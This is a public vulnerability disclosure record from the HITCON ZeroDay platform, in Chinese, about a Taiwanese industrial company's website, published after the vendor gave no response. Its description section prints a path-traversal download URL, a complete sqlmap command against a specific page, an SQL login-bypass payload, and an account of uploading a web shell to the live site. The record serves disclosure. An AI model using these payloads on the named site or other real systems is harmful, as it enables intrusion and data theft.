羿源工業 SQLi、SQLi to Login、任意檔案下載、任意檔案上傳導致RCE、確認被駭。 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-00003
  •  發信 Vendor: 羿源工業
  • Title: 羿源工業 SQLi、SQLi to Login、任意檔案下載、任意檔案上傳導致RCE、確認被駭。
  • Introduction: SQLi、SQLi to Login、任意檔案下載、任意檔案上傳導致RCE、確認被駭。

處理狀態

目前狀態

公開
Last Update : 2025/03/17
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2025/01/01 22:01:36 : 新提交 (由 萌新 更新此狀態)
  • 2025/01/03 16:57:37 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/01/17 11:55:28 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/01/17 11:55:28 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/01/17 11:55:29 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/03/17 03:02:13 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-00003
  • 通報者:nhd1261 (萌新)
  • 風險:嚴重
  • 類型:遠端命令執行 (Remote Code Execution)

參考資料

攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。

漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection

漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection

漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html

漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.eknet.com.tw/showroom.php?item_id=I14895571771916187&mode=detail
https://www.eknet.com.tw/file.php?name=../file.php&mode=download
https://www.eknet.com.tw/admin/

敘述

任意檔案下載:
透過修改name可下載任意檔案。
https://www.eknet.com.tw/file.php?name=../file.php&mode=download

SQLi :
網站未對SQLi做防護,許多參數都可以直接注入。
python sqlmap.py "https://www.eknet.com.tw/showroom.php?item_id=I14895571771916187&mode=detail" --thread 10 --random-agent --batch --dbs --no-cast
圖片

SQLi to Login:
帳號:'OR '1'='1' --
密碼:隨意

任意檔案上傳導致RCE:
後台上傳功能未檢查檔案,可直接上傳shell,取得shell後檢視上傳目錄,發現已經被駭,除了F17開頭的那個檔案是我的shell外其他都是別的駭客上傳的shell,由於做了混淆不確定這些shell的具體功能,測試完畢後我所上傳的shell已刪除。
圖片

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;